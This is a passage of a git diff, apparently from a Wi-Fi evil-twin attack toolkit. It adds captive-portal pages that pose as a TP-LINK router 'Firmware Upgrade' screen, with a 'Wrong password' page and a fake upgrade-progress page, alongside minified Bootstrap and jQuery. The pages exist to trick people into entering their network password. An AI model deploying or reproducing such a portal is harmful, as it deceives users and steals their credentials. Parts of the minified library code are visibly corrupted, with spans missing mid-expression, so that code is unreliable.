c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.6",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&jdocument.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth
    ',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),c.isInStateTrue()?void 0:(clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide())},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-mo.width?"left":"left"==h&&k.left-lg.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;jg.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;(e||!/destroy|hide/.test(b))&&(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.6",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.6",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b=e[a]&&(void 0===e[a+1]||b .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.6",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return c>e?"top":!1;if("bottom"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:"bottom":a-d>=e+g?!1:"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=e?"top":null!=d&&i+j>=a-d?"bottom":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/error.html b/attacks/Captive Portal/sites/TP-LINK_en.portal/error.html new file mode 100755 index 0000000..7b0394f --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/error.html @@ -0,0 +1,90 @@ + + Router Configuration Page

    Firmware Upgrade

    Wrong password

    Password you entered does not match network password. Please go back and enter correct password.

    TP-LINK© 2016, All Rights Reserved.

    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/final.html b/attacks/Captive Portal/sites/TP-LINK_en.portal/final.html new file mode 100755 index 0000000..4fcfc30 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/final.html @@ -0,0 +1,155 @@ + + Router Configuration Page

    Firmware Upgrade In Progress

    The update is currently being uploaded to the router. Please do not disconnect or turn off the router while it's being updated.

    0% Complete

    TP-LINK© 2016, All Rights Reserved.

    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/index.html b/attacks/Captive Portal/sites/TP-LINK_en.portal/index.html new file mode 100755 index 0000000..412f4a4 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/index.html @@ -0,0 +1,1190 @@ + + Router Configuration Page

    Firmware Upgrade

    A new version of the firmware has been detected and awaiting installation. Please review our new terms and conditions and proceed.

    TP-LINK© 2016, All Rights Reserved.

    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/TP-LINK_en.portal/jquery.min.js b/attacks/Captive Portal/sites/TP-LINK_en.portal/jquery.min.js new file mode 100755 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/TP-LINK_en.portal/jquery.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return 